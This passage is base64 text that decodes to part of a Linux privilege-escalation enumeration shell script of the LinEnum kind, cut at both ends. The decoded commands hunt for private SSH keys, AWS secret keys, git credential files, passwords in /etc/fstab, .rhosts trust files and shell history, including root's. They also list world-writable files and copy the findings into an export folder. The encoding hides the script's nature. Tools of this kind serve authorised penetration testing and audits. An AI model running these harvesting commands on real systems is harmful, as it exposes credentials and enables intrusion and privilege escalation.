XNzaW9ucyBvZiBmaWxlcyB3aXRoIHRoZSBzYW1lIGNhcGFiaWxpdGllcyBhc3NvY2lhdGVkIHdpdGggdGhlIGN1cnJlbnQgdXNlcjpcZVswMG1cbiRtYXRjaGVkZmlsZXNwZXJtcyIKCQkJZWNobyAtZSAiXG4iCgkJCWlmIFsgIiRtYXRjaGVkZmlsZXNwZXJtcyIgXTsgdGhlbgoJCQkJI2NoZWNrcyBpZiBhbnkgb2YgdGhlIGZpbGVzIHdpdGggc2FtZSBjYXBhYmlsaXRpZXMgYXNzb2NpYXRlZCB3aXRoIHRoZSBjdXJyZW50IHVzZXIgaXMgd3JpdGFibGUKCQkJCXdyaXRhYmxlbWF0Y2hlZGZpbGVzPWBlY2hvIC1lICIkbWF0Y2hlZGZpbGVzIiB8IGF3ayAne3ByaW50ICQxfScgfCB3aGlsZSByZWFkIC1yIGY7IGRvIGZpbmQgJGYgLXdyaXRhYmxlIC1leGVjIGxzIC1sYSB7fSArIDtkb25lIDI+L2Rldi9udWxsYAoJCQkJaWYgWyAiJHdyaXRhYmxlbWF0Y2hlZGZpbGVzIiBdOyB0aGVuCgkJCQkJZWNobyAtZSAiXGVbMDA7MzNtWytdIFVzZXIvR3JvdXAgd3JpdGFibGUgZmlsZXMgd2l0aCB0aGUgc2FtZSBjYXBhYmlsaXRpZXMgYXNzb2NpYXRlZCB3aXRoIHRoZSBjdXJyZW50IHVzZXI6XGVbMDBtXG4kd3JpdGFibGVtYXRjaGVkZmlsZXMiCgkJCQkJZWNobyAtZSAiXG4iCgkJCQlmaQoJCQlmaQoJCWZpCglmaQpmaQoKI2xvb2sgZm9yIHByaXZhdGUga2V5cyAtIHRoYW5rcyBkamhvaG5zdGVpbgppZiBbICIkdGhvcm91Z2giID0gIjEiIF07IHRoZW4KcHJpdmF0ZWtleWZpbGVzPWBncmVwIC1ybCAiUFJJVkFURSBLRVktLS0tLSIgL2hvbWUgMj4vZGV2L251bGxgCglpZiBbICIkcHJpdmF0ZWtleWZpbGVzIiBdOyB0aGVuCiAgCQllY2hvIC1lICJcZVswMDszM21bK10gUHJpdmF0ZSBTU0gga2V5cyBmb3VuZCE6XGVbMDBtXG4kcHJpdmF0ZWtleWZpbGVzIgogIAkJZWNobyAtZSAiXG4iCglmaQpmaQoKI2xvb2sgZm9yIEFXUyBrZXlzIC0gdGhhbmtzIGRqaG9obnN0ZWluCmlmIFsgIiR0aG9yb3VnaCIgPSAiMSIgXTsgdGhlbgphd3NrZXlmaWxlcz1gZ3JlcCAtcmxpICJhd3Nfc2VjcmV0X2FjY2Vzc19rZXkiIC9ob21lIDI+L2Rldi9udWxsYAoJaWYgWyAiJGF3c2tleWZpbGVzIiBdOyB0aGVuCiAgCQllY2hvIC1lICJcZVswMDszM21bK10gQVdTIHNlY3JldCBrZXlzIGZvdW5kITpcZVswMG1cbiRhd3NrZXlmaWxlcyIKICAJCWVjaG8gLWUgIlxuIgoJZmkKZmkKCiNsb29rIGZvciBnaXQgY3JlZGVudGlhbCBmaWxlcyAtIHRoYW5rcyBkamhvaG5zdGVpbgppZiBbICIkdGhvcm91Z2giID0gIjEiIF07IHRoZW4KZ2l0Y3JlZGZpbGVzPWBmaW5kIC8gLW5hbWUgIi5naXQtY3JlZGVudGlhbHMiIDI+L2Rldi9udWxsYAoJaWYgWyAiJGdpdGNyZWRmaWxlcyIgXTsgdGhlbgogIAkJZWNobyAtZSAiXGVbMDA7MzNtWytdIEdpdCBjcmVkZW50aWFscyBzYXZlZCBvbiB0aGUgbWFjaGluZSE6XGVbMDBtXG4kZ2l0Y3JlZGZpbGVzIgogIAkJZWNobyAtZSAiXG4iCglmaQpmaQoKI2xpc3QgYWxsIHdvcmxkLXdyaXRhYmxlIGZpbGVzIGV4Y2x1ZGluZyAvcHJvYyBhbmQgL3N5cwppZiBbICIkdGhvcm91Z2giID0gIjEiIF07IHRoZW4Kd3dmaWxlcz1gZmluZCAvICEgLXBhdGggIiovcHJvYy8qIiAhIC1wYXRoICIvc3lzLyoiIC1wZXJtIC0yIC10eXBlIGYgLWV4ZWMgbHMgLWxhIHt9IDI+L2Rldi9udWxsIFw7YAoJaWYgWyAiJHd3ZmlsZXMiIF07IHRoZW4KCQllY2hvIC1lICJcZVswMDszMW1bLV0gV29ybGQtd3JpdGFibGUgZmlsZXMgKGV4Y2x1ZGluZyAvcHJvYyBhbmQgL3N5cyk6XGVbMDBtXG4kd3dmaWxlcyIgCgkJZWNobyAtZSAiXG4iCglmaQpmaQoKaWYgWyAiJHRob3JvdWdoIiA9ICIxIiBdOyB0aGVuCglpZiBbICIkZXhwb3J0IiBdICYmIFsgIiR3d2ZpbGVzIiBdOyB0aGVuCgkJbWtkaXIgJGZvcm1hdC93dy1maWxlcy8gMj4vZGV2L251bGwKCQlmb3IgaSBpbiAkd3dmaWxlczsgZG8gY3AgLS1wYXJlbnRzICRpICRmb3JtYXQvd3ctZmlsZXMvOyBkb25lIDI+L2Rldi9udWxsCglmaQpmaQoKI2FyZSBhbnkgLnBsYW4gZmlsZXMgYWNjZXNzaWJsZSBpbiAvaG9tZSAoY291bGQgY29udGFpbiB1c2VmdWwgaW5mb3JtYXRpb24pCnVzcnBsYW49YGZpbmQgL2hvbWUgLWluYW1lICoucGxhbiAtZXhlYyBscyAtbGEge30gXDsgLWV4ZWMgY2F0IHt9IDI+L2Rldi9udWxsIFw7YAppZiBbICIkdXNycGxhbiIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBQbGFuIGZpbGUgcGVybWlzc2lvbnMgYW5kIGNvbnRlbnRzOlxlWzAwbVxuJHVzcnBsYW4iIAogIGVjaG8gLWUgIlxuIgpmaQoKaWYgWyAiJGV4cG9ydCIgXSAmJiBbICIkdXNycGxhbiIgXTsgdGhlbgogIG1rZGlyICRmb3JtYXQvcGxhbl9maWxlcy8gMj4vZGV2L251bGwKICBmb3IgaSBpbiAkdXNycGxhbjsgZG8gY3AgLS1wYXJlbnRzICRpICRmb3JtYXQvcGxhbl9maWxlcy87IGRvbmUgMj4vZGV2L251bGwKZmkKCmJzZHVzcnBsYW49YGZpbmQgL3Vzci9ob21lIC1pbmFtZSAqLnBsYW4gLWV4ZWMgbHMgLWxhIHt9IFw7IC1leGVjIGNhdCB7fSAyPi9kZXYvbnVsbCBcO2AKaWYgWyAiJGJzZHVzcnBsYW4iIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszMW1bLV0gUGxhbiBmaWxlIHBlcm1pc3Npb25zIGFuZCBjb250ZW50czpcZVswMG1cbiRic2R1c3JwbGFuIiAKICBlY2hvIC1lICJcbiIKZmkKCmlmIFsgIiRleHBvcnQiIF0gJiYgWyAiJGJzZHVzcnBsYW4iIF07IHRoZW4KICBta2RpciAkZm9ybWF0L3BsYW5fZmlsZXMvIDI+L2Rldi9udWxsCiAgZm9yIGkgaW4gJGJzZHVzcnBsYW47IGRvIGNwIC0tcGFyZW50cyAkaSAkZm9ybWF0L3BsYW5fZmlsZXMvOyBkb25lIDI+L2Rldi9udWxsCmZpCgojYXJlIHRoZXJlIGFueSAucmhvc3RzIGZpbGVzIGFjY2Vzc2libGUgLSB0aGVzZSBtYXkgYWxsb3cgdXMgdG8gbG9naW4gYXMgYW5vdGhlciB1c2VyIGV0Yy4Kcmhvc3RzdXNyPWBmaW5kIC9ob21lIC1pbmFtZSAqLnJob3N0cyAtZXhlYyBscyAtbGEge30gMj4vZGV2L251bGwgXDsgLWV4ZWMgY2F0IHt9IDI+L2Rldi9udWxsIFw7YAppZiBbICIkcmhvc3RzdXNyIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzNtWytdIHJob3N0IGNvbmZpZyBmaWxlKHMpIGFuZCBmaWxlIGNvbnRlbnRzOlxlWzAwbVxuJHJob3N0c3VzciIgCiAgZWNobyAtZSAiXG4iCmZpCgppZiBbICIkZXhwb3J0IiBdICYmIFsgIiRyaG9zdHN1c3IiIF07IHRoZW4KICBta2RpciAkZm9ybWF0L3Job3N0cy8gMj4vZGV2L251bGwKICBmb3IgaSBpbiAkcmhvc3RzdXNyOyBkbyBjcCAtLXBhcmVudHMgJGkgJGZvcm1hdC9yaG9zdHMvOyBkb25lIDI+L2Rldi9udWxsCmZpCgpic2RyaG9zdHN1c3I9YGZpbmQgL3Vzci9ob21lIC1pbmFtZSAqLnJob3N0cyAtZXhlYyBscyAtbGEge30gMj4vZGV2L251bGwgXDsgLWV4ZWMgY2F0IHt9IDI+L2Rldi9udWxsIFw7YAppZiBbICIkYnNkcmhvc3RzdXNyIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzNtWytdIHJob3N0IGNvbmZpZyBmaWxlKHMpIGFuZCBmaWxlIGNvbnRlbnRzOlxlWzAwbVxuJGJzZHJob3N0c3VzciIgCiAgZWNobyAtZSAiXG4iCmZpCgppZiBbICIkZXhwb3J0IiBdICYmIFsgIiRic2RyaG9zdHN1c3IiIF07IHRoZW4KICBta2RpciAkZm9ybWF0L3Job3N0cyAyPi9kZXYvbnVsbAogIGZvciBpIGluICRic2RyaG9zdHN1c3I7IGRvIGNwIC0tcGFyZW50cyAkaSAkZm9ybWF0L3Job3N0cy87IGRvbmUgMj4vZGV2L251bGwKZmkKCnJob3N0c3N5cz1gZmluZCAvZXRjIC1pbmFtZSBob3N0cy5lcXVpdiAtZXhlYyBscyAtbGEge30gMj4vZGV2L251bGwgXDsgLWV4ZWMgY2F0IHt9IDI+L2Rldi9udWxsIFw7YAppZiBbICIkcmhvc3Rzc3lzIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzNtWytdIEhvc3RzLmVxdWl2IGZpbGUgYW5kIGNvbnRlbnRzOiBcZVswMG1cbiRyaG9zdHNzeXMiIAogIGVjaG8gLWUgIlxuIgpmaQoKaWYgWyAiJGV4cG9ydCIgXSAmJiBbICIkcmhvc3Rzc3lzIiBdOyB0aGVuCiAgbWtkaXIgJGZvcm1hdC9yaG9zdHMvIDI+L2Rldi9udWxsCiAgZm9yIGkgaW4gJHJob3N0c3N5czsgZG8gY3AgLS1wYXJlbnRzICRpICRmb3JtYXQvcmhvc3RzLzsgZG9uZSAyPi9kZXYvbnVsbApmaQoKI2xpc3QgbmZzIHNoYXJlcy9wZXJtaXNpc29ucyBldGMuCm5mc2V4cG9ydHM9YGxzIC1sYSAvZXRjL2V4cG9ydHMgMj4vZGV2L251bGw7IGNhdCAvZXRjL2V4cG9ydHMgMj4vZGV2L251bGxgCmlmIFsgIiRuZnNleHBvcnRzIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIE5GUyBjb25maWcgZGV0YWlsczogXGVbMDBtXG4kbmZzZXhwb3J0cyIgCiAgZWNobyAtZSAiXG4iCmZpCgppZiBbICIkZXhwb3J0IiBdICYmIFsgIiRuZnNleHBvcnRzIiBdOyB0aGVuCiAgbWtkaXIgJGZvcm1hdC9ldGMtZXhwb3J0LyAyPi9kZXYvbnVsbAogIGNwIC9ldGMvZXhwb3J0cyAkZm9ybWF0L2V0Yy1leHBvcnQvZXhwb3J0cyAyPi9kZXYvbnVsbApmaQoKaWYgWyAiJHRob3JvdWdoIiA9ICIxIiBdOyB0aGVuCiAgI3BoYWNrdAogICNkaXNwbGF5aW5nIC9ldGMvZnN0YWIKICBmc3RhYj1gY2F0IC9ldGMvZnN0YWIgMj4vZGV2L251bGxgCiAgaWYgWyAiJGZzdGFiIiBdOyB0aGVuCiAgICBlY2hvIC1lICJcZVswMDszMW1bLV0gTkZTIGRpc3BsYXlpbmcgcGFydGl0aW9ucyBhbmQgZmlsZXN5c3RlbXMgLSB5b3UgbmVlZCB0byBjaGVjayBpZiBleG90aWMgZmlsZXN5c3RlbXNcZVswMG0iCiAgICBlY2hvIC1lICIkZnN0YWIiCiAgICBlY2hvIC1lICJcbiIKICBmaQpmaQoKI2xvb2tpbmcgZm9yIGNyZWRlbnRpYWxzIGluIC9ldGMvZnN0YWIKZnN0YWI9YGdyZXAgdXNlcm5hbWUgL2V0Yy9mc3RhYiAyPi9kZXYvbnVsbCB8YXdrICd7c3ViKC8uKlx1c2VybmFtZT0vLCIiKTtzdWIoL1wsLiovLCIiKX0xJyAyPi9kZXYvbnVsbHwgeGFyZ3MgLXIgZWNobyB1c2VybmFtZTogMj4vZGV2L251bGw7IGdyZXAgcGFzc3dvcmQgL2V0Yy9mc3RhYiAyPi9kZXYvbnVsbCB8YXdrICd7c3ViKC8uKlxwYXNzd29yZD0vLCIiKTtzdWIoL1wsLiovLCIiKX0xJyAyPi9kZXYvbnVsbHwgeGFyZ3MgLXIgZWNobyBwYXNzd29yZDogMj4vZGV2L251bGw7IGdyZXAgZG9tYWluIC9ldGMvZnN0YWIgMj4vZGV2L251bGwgfGF3ayAne3N1YigvLipcZG9tYWluPS8sIiIpO3N1YigvXCwuKi8sIiIpfTEnIDI+L2Rldi9udWxsfCB4YXJncyAtciBlY2hvIGRvbWFpbjogMj4vZGV2L251bGxgCmlmIFsgIiRmc3RhYiIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMzbVsrXSBMb29rcyBsaWtlIHRoZXJlIGFyZSBjcmVkZW50aWFscyBpbiAvZXRjL2ZzdGFiIVxlWzAwbVxuJGZzdGFiIgogIGVjaG8gLWUgIlxuIgpmaQoKaWYgWyAiJGV4cG9ydCIgXSAmJiBbICIkZnN0YWIiIF07IHRoZW4KICBta2RpciAkZm9ybWF0L2V0Yy1leHBvcnRzLyAyPi9kZXYvbnVsbAogIGNwIC9ldGMvZnN0YWIgJGZvcm1hdC9ldGMtZXhwb3J0cy9mc3RhYiBkb25lIDI+L2Rldi9udWxsCmZpCgpmc3RhYmNyZWQ9YGdyZXAgY3JlZCAvZXRjL2ZzdGFiIDI+L2Rldi9udWxsIHxhd2sgJ3tzdWIoLy4qXGNyZWRlbnRpYWxzPS8sIiIpO3N1YigvXCwuKi8sIiIpfTEnIDI+L2Rldi9udWxsIHwgeGFyZ3MgLUl7fSBzaCAtYyAnbHMgLWxhIHt9OyBjYXQge30nIDI+L2Rldi9udWxsYAppZiBbICIkZnN0YWJjcmVkIiBdOyB0aGVuCiAgICBlY2hvIC1lICJcZVswMDszM21bK10gL2V0Yy9mc3RhYiBjb250YWlucyBhIGNyZWRlbnRpYWxzIGZpbGUhXGVbMDBtXG4kZnN0YWJjcmVkIiAKICAgIGVjaG8gLWUgIlxuIgpmaQoKaWYgWyAiJGV4cG9ydCIgXSAmJiBbICIkZnN0YWJjcmVkIiBdOyB0aGVuCiAgbWtkaXIgJGZvcm1hdC9ldGMtZXhwb3J0cy8gMj4vZGV2L251bGwKICBjcCAvZXRjL2ZzdGFiICRmb3JtYXQvZXRjLWV4cG9ydHMvZnN0YWIgZG9uZSAyPi9kZXYvbnVsbApmaQoKI3VzZSBzdXBwbGllZCBrZXl3b3JkIGFuZCBjYXQgKi5jb25mIGZpbGVzIGZvciBwb3RlbnRpYWwgbWF0Y2hlcyAtIG91dHB1dCB3aWxsIHNob3cgbGluZSBudW1iZXIgd2l0aGluIHJlbGV2YW50IGZpbGUgcGF0aCB3aGVyZSBhIG1hdGNoIGhhcyBiZWVuIGxvY2F0ZWQKaWYgWyAiJGtleXdvcmQiID0gIiIgXTsgdGhlbgogIGVjaG8gLWUgIlstXSBDYW4ndCBzZWFyY2ggKi5jb25mIGZpbGVzIGFzIG5vIGtleXdvcmQgd2FzIGVudGVyZWRcbiIgCiAgZWxzZQogICAgY29uZmtleT1gZmluZCAvIC1tYXhkZXB0aCA0IC1uYW1lICouY29uZiAtdHlwZSBmIC1leGVjIGdyZXAgLUhuICRrZXl3b3JkIHt9IFw7IDI+L2Rldi9udWxsYAogICAgaWYgWyAiJGNvbmZrZXkiIF07IHRoZW4KICAgICAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIEZpbmQga2V5d29yZCAoJGtleXdvcmQpIGluIC5jb25mIGZpbGVzIChyZWN1cnNpdmUgNCBsZXZlbHMgLSBvdXRwdXQgZm9ybWF0IGZpbGVwYXRoOmlkZW50aWZpZWQgbGluZSBudW1iZXIgd2hlcmUga2V5d29yZCBhcHBlYXJzKTpcZVswMG1cbiRjb25ma2V5IiAKICAgICAgZWNobyAtZSAiXG4iIAogICAgIGVsc2UgCgllY2hvIC1lICJcZVswMDszMW1bLV0gRmluZCBrZXl3b3JkICgka2V5d29yZCkgaW4gLmNvbmYgZmlsZXMgKHJlY3Vyc2l2ZSA0IGxldmVscyk6XGVbMDBtIiAKCWVjaG8gLWUgIicka2V5d29yZCcgbm90IGZvdW5kIGluIGFueSAuY29uZiBmaWxlcyIgCgllY2hvIC1lICJcbiIgCiAgICBmaQpmaQoKaWYgWyAiJGtleXdvcmQiID0gIiIgXTsgdGhlbgogIDoKICBlbHNlCiAgICBpZiBbICIkZXhwb3J0IiBdICYmIFsgIiRjb25ma2V5IiBdOyB0aGVuCgkgIGNvbmZrZXlmaWxlPWBmaW5kIC8gLW1heGRlcHRoIDQgLW5hbWUgKi5jb25mIC10eXBlIGYgLWV4ZWMgZ3JlcCAtbEhuICRrZXl3b3JkIHt9IFw7IDI+L2Rldi9udWxsYAogICAgICBta2RpciAtLXBhcmVudHMgJGZvcm1hdC9rZXl3b3JkX2ZpbGVfbWF0Y2hlcy9jb25maWdfZmlsZXMvIDI+L2Rldi9udWxsCiAgICAgIGZvciBpIGluICRjb25ma2V5ZmlsZTsgZG8gY3AgLS1wYXJlbnRzICRpICRmb3JtYXQva2V5d29yZF9maWxlX21hdGNoZXMvY29uZmlnX2ZpbGVzLyA7IGRvbmUgMj4vZGV2L251bGwKICBmaQpmaQoKI3VzZSBzdXBwbGllZCBrZXl3b3JkIGFuZCBjYXQgKi5waHAgZmlsZXMgZm9yIHBvdGVudGlhbCBtYXRjaGVzIC0gb3V0cHV0IHdpbGwgc2hvdyBsaW5lIG51bWJlciB3aXRoaW4gcmVsZXZhbnQgZmlsZSBwYXRoIHdoZXJlIGEgbWF0Y2ggaGFzIGJlZW4gbG9jYXRlZAppZiBbICIka2V5d29yZCIgPSAiIiBdOyB0aGVuCiAgZWNobyAtZSAiWy1dIENhbid0IHNlYXJjaCAqLnBocCBmaWxlcyBhcyBubyBrZXl3b3JkIHdhcyBlbnRlcmVkXG4iIAogIGVsc2UKICAgIHBocGtleT1gZmluZCAvIC1tYXhkZXB0aCAxMCAtbmFtZSAqLnBocCAtdHlwZSBmIC1leGVjIGdyZXAgLUhuICRrZXl3b3JkIHt9IFw7IDI+L2Rldi9udWxsYAogICAgaWYgWyAiJHBocGtleSIgXTsgdGhlbgogICAgICBlY2hvIC1lICJcZVswMDszMW1bLV0gRmluZCBrZXl3b3JkICgka2V5d29yZCkgaW4gLnBocCBmaWxlcyAocmVjdXJzaXZlIDEwIGxldmVscyAtIG91dHB1dCBmb3JtYXQgZmlsZXBhdGg6aWRlbnRpZmllZCBsaW5lIG51bWJlciB3aGVyZSBrZXl3b3JkIGFwcGVhcnMpOlxlWzAwbVxuJHBocGtleSIgCiAgICAgIGVjaG8gLWUgIlxuIiAKICAgICBlbHNlIAogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBGaW5kIGtleXdvcmQgKCRrZXl3b3JkKSBpbiAucGhwIGZpbGVzIChyZWN1cnNpdmUgMTAgbGV2ZWxzKTpcZVswMG0iIAogIGVjaG8gLWUgIicka2V5d29yZCcgbm90IGZvdW5kIGluIGFueSAucGhwIGZpbGVzIiAKICBlY2hvIC1lICJcbiIgCiAgICBmaQpmaQoKaWYgWyAiJGtleXdvcmQiID0gIiIgXTsgdGhlbgogIDoKICBlbHNlCiAgICBpZiBbICIkZXhwb3J0IiBdICYmIFsgIiRwaHBrZXkiIF07IHRoZW4KICAgIHBocGtleWZpbGU9YGZpbmQgLyAtbWF4ZGVwdGggMTAgLW5hbWUgKi5waHAgLXR5cGUgZiAtZXhlYyBncmVwIC1sSG4gJGtleXdvcmQge30gXDsgMj4vZGV2L251bGxgCiAgICAgIG1rZGlyIC0tcGFyZW50cyAkZm9ybWF0L2tleXdvcmRfZmlsZV9tYXRjaGVzL3BocF9maWxlcy8gMj4vZGV2L251bGwKICAgICAgZm9yIGkgaW4gJHBocGtleWZpbGU7IGRvIGNwIC0tcGFyZW50cyAkaSAkZm9ybWF0L2tleXdvcmRfZmlsZV9tYXRjaGVzL3BocF9maWxlcy8gOyBkb25lIDI+L2Rldi9udWxsCiAgZmkKZmkKCiN1c2Ugc3VwcGxpZWQga2V5d29yZCBhbmQgY2F0ICoubG9nIGZpbGVzIGZvciBwb3RlbnRpYWwgbWF0Y2hlcyAtIG91dHB1dCB3aWxsIHNob3cgbGluZSBudW1iZXIgd2l0aGluIHJlbGV2YW50IGZpbGUgcGF0aCB3aGVyZSBhIG1hdGNoIGhhcyBiZWVuIGxvY2F0ZWQKaWYgWyAiJGtleXdvcmQiID0gIiIgXTt0aGVuCiAgZWNobyAtZSAiWy1dIENhbid0IHNlYXJjaCAqLmxvZyBmaWxlcyBhcyBubyBrZXl3b3JkIHdhcyBlbnRlcmVkXG4iIAogIGVsc2UKICAgIGxvZ2tleT1gZmluZCAvIC1tYXhkZXB0aCA0IC1uYW1lICoubG9nIC10eXBlIGYgLWV4ZWMgZ3JlcCAtSG4gJGtleXdvcmQge30gXDsgMj4vZGV2L251bGxgCiAgICBpZiBbICIkbG9na2V5IiBdOyB0aGVuCiAgICAgIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBGaW5kIGtleXdvcmQgKCRrZXl3b3JkKSBpbiAubG9nIGZpbGVzIChyZWN1cnNpdmUgNCBsZXZlbHMgLSBvdXRwdXQgZm9ybWF0IGZpbGVwYXRoOmlkZW50aWZpZWQgbGluZSBudW1iZXIgd2hlcmUga2V5d29yZCBhcHBlYXJzKTpcZVswMG1cbiRsb2drZXkiIAogICAgICBlY2hvIC1lICJcbiIgCiAgICAgZWxzZSAKCWVjaG8gLWUgIlxlWzAwOzMxbVstXSBGaW5kIGtleXdvcmQgKCRrZXl3b3JkKSBpbiAubG9nIGZpbGVzIChyZWN1cnNpdmUgNCBsZXZlbHMpOlxlWzAwbSIgCgllY2hvIC1lICInJGtleXdvcmQnIG5vdCBmb3VuZCBpbiBhbnkgLmxvZyBmaWxlcyIKCWVjaG8gLWUgIlxuIiAKICAgIGZpCmZpCgppZiBbICIka2V5d29yZCIgPSAiIiBdO3RoZW4KICA6CiAgZWxzZQogICAgaWYgWyAiJGV4cG9ydCIgXSAmJiBbICIkbG9na2V5IiBdOyB0aGVuCiAgICAgIGxvZ2tleWZpbGU9YGZpbmQgLyAtbWF4ZGVwdGggNCAtbmFtZSAqLmxvZyAtdHlwZSBmIC1leGVjIGdyZXAgLWxIbiAka2V5d29yZCB7fSBcOyAyPi9kZXYvbnVsbGAKCSAgbWtkaXIgLS1wYXJlbnRzICRmb3JtYXQva2V5d29yZF9maWxlX21hdGNoZXMvbG9nX2ZpbGVzLyAyPi9kZXYvbnVsbAogICAgICBmb3IgaSBpbiAkbG9na2V5ZmlsZTsgZG8gY3AgLS1wYXJlbnRzICRpICRmb3JtYXQva2V5d29yZF9maWxlX21hdGNoZXMvbG9nX2ZpbGVzLyA7IGRvbmUgMj4vZGV2L251bGwKICBmaQpmaQoKI3VzZSBzdXBwbGllZCBrZXl3b3JkIGFuZCBjYXQgKi5pbmkgZmlsZXMgZm9yIHBvdGVudGlhbCBtYXRjaGVzIC0gb3V0cHV0IHdpbGwgc2hvdyBsaW5lIG51bWJlciB3aXRoaW4gcmVsZXZhbnQgZmlsZSBwYXRoIHdoZXJlIGEgbWF0Y2ggaGFzIGJlZW4gbG9jYXRlZAppZiBbICIka2V5d29yZCIgPSAiIiBdO3RoZW4KICBlY2hvIC1lICJbLV0gQ2FuJ3Qgc2VhcmNoICouaW5pIGZpbGVzIGFzIG5vIGtleXdvcmQgd2FzIGVudGVyZWRcbiIgCiAgZWxzZQogICAgaW5pa2V5PWBmaW5kIC8gLW1heGRlcHRoIDQgLW5hbWUgKi5pbmkgLXR5cGUgZiAtZXhlYyBncmVwIC1IbiAka2V5d29yZCB7fSBcOyAyPi9kZXYvbnVsbGAKICAgIGlmIFsgIiRpbmlrZXkiIF07IHRoZW4KICAgICAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIEZpbmQga2V5d29yZCAoJGtleXdvcmQpIGluIC5pbmkgZmlsZXMgKHJlY3Vyc2l2ZSA0IGxldmVscyAtIG91dHB1dCBmb3JtYXQgZmlsZXBhdGg6aWRlbnRpZmllZCBsaW5lIG51bWJlciB3aGVyZSBrZXl3b3JkIGFwcGVhcnMpOlxlWzAwbVxuJGluaWtleSIgCiAgICAgIGVjaG8gLWUgIlxuIiAKICAgICBlbHNlIAoJZWNobyAtZSAiXGVbMDA7MzFtWy1dIEZpbmQga2V5d29yZCAoJGtleXdvcmQpIGluIC5pbmkgZmlsZXMgKHJlY3Vyc2l2ZSA0IGxldmVscyk6XGVbMDBtIiAKCWVjaG8gLWUgIicka2V5d29yZCcgbm90IGZvdW5kIGluIGFueSAuaW5pIGZpbGVzIiAKCWVjaG8gLWUgIlxuIgogICAgZmkKZmkKCmlmIFsgIiRrZXl3b3JkIiA9ICIiIF07dGhlbgogIDoKICBlbHNlCiAgICBpZiBbICIkZXhwb3J0IiBdICYmIFsgIiRpbmlrZXkiIF07IHRoZW4KCSAgaW5pa2V5PWBmaW5kIC8gLW1heGRlcHRoIDQgLW5hbWUgKi5pbmkgLXR5cGUgZiAtZXhlYyBncmVwIC1sSG4gJGtleXdvcmQge30gXDsgMj4vZGV2L251bGxgCiAgICAgIG1rZGlyIC0tcGFyZW50cyAkZm9ybWF0L2tleXdvcmRfZmlsZV9tYXRjaGVzL2luaV9maWxlcy8gMj4vZGV2L251bGwKICAgICAgZm9yIGkgaW4gJGluaWtleTsgZG8gY3AgLS1wYXJlbnRzICRpICRmb3JtYXQva2V5d29yZF9maWxlX21hdGNoZXMvaW5pX2ZpbGVzLyA7IGRvbmUgMj4vZGV2L251bGwKICBmaQpmaQoKI3F1aWNrIGV4dHJhY3Qgb2YgLmNvbmYgZmlsZXMgZnJvbSAvZXRjIC0gb25seSAxIGxldmVsCmFsbGNvbmY9YGZpbmQgL2V0Yy8gLW1heGRlcHRoIDEgLW5hbWUgKi5jb25mIC10eXBlIGYgLWV4ZWMgbHMgLWxhIHt9IFw7IDI+L2Rldi9udWxsYAppZiBbICIkYWxsY29uZiIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBBbGwgKi5jb25mIGZpbGVzIGluIC9ldGMgKHJlY3Vyc2l2ZSAxIGxldmVsKTpcZVswMG1cbiRhbGxjb25mIiAKICBlY2hvIC1lICJcbiIKZmkKCmlmIFsgIiRleHBvcnQiIF0gJiYgWyAiJGFsbGNvbmYiIF07IHRoZW4KICBta2RpciAkZm9ybWF0L2NvbmYtZmlsZXMvIDI+L2Rldi9udWxsCiAgZm9yIGkgaW4gJGFsbGNvbmY7IGRvIGNwIC0tcGFyZW50cyAkaSAkZm9ybWF0L2NvbmYtZmlsZXMvOyBkb25lIDI+L2Rldi9udWxsCmZpCgojZXh0cmFjdCBhbnkgdXNlciBoaXN0b3J5IGZpbGVzIHRoYXQgYXJlIGFjY2Vzc2libGUKdXNyaGlzdD1gbHMgLWxhIH4vLipfaGlzdG9yeSAyPi9kZXYvbnVsbGAKaWYgWyAiJHVzcmhpc3QiIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszMW1bLV0gQ3VycmVudCB1c2VyJ3MgaGlzdG9yeSBmaWxlczpcZVswMG1cbiR1c3JoaXN0IiAKICBlY2hvIC1lICJcbiIKZmkKCmlmIFsgIiRleHBvcnQiIF0gJiYgWyAiJHVzcmhpc3QiIF07IHRoZW4KICBta2RpciAkZm9ybWF0L2hpc3RvcnlfZmlsZXMvIDI+L2Rldi9udWxsCiAgZm9yIGkgaW4gJHVzcmhpc3Q7IGRvIGNwIC0tcGFyZW50cyAkaSAkZm9ybWF0L2hpc3RvcnlfZmlsZXMvOyBkb25lIDI+L2Rldi9udWxsCmZpCgojY2FuIHdlIHJlYWQgcm9vdHMgKl9oaXN0b3J5IGZpbGVzIC0gY291bGQgYmUgcGFzc3dvcmRzIHN0b3JlZCBldGMuCnJvb3RoaXN0PWBscyAtbGEgL3Jvb3QvLipfaGlzdG9yeSAyPi9kZXYvbnVsbGAKaWYgWyAiJHJvb3RoaXN0IiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzNtWytdIFJvb3QncyBoaXN0b3J5IGZpbGVzIGFyZSBhY2Nlc3NpYmxlIVxlWzAwbVxuJHJvb3RoaXN0IiAKICBlY2hvIC1lICJcbiIKZmkKCmlmIFsgIiRleHBvcnQiIF0gJiYgWyAiJHJvb3RoaXN0IiBdOyB0aGVuCiAgbWtkaXIgJGZvcm1hdC9oaXN0b3J5X2ZpbGVzLyAyPi9kZXYvbnVsbAogIGNwICRyb290aGlzdCAkZm9ybWF0L2hpc3RvcnlfZmlsZXMvIDI+L2Rldi9udWxsCmZpCgojYWxsIGFjY2Vzc2libGUgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiAvaG9tZQpjaGVja2Jhc2hoaXN0PWBmaW5kIC9ob21lIC1uYW1lIC5iYXNoX2hpc3RvcnkgLXByaW50IC1leGVjIGNhdCB7fSAyPi9kZXYvbnVsbCBcO2AKaWYgWyAiJGNoZWNrYmFzaGhpc3QiIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszMW1bLV0gTG9jYXRpb24gYW5kIGNvbnRlbnRzIChpZiBhY2Nlc3NpYmxlKSBvZiAuYmFzaF9oaXN0b3J5IGZpbGUocyk6XGVbMDBtXG4kY2hlY2ti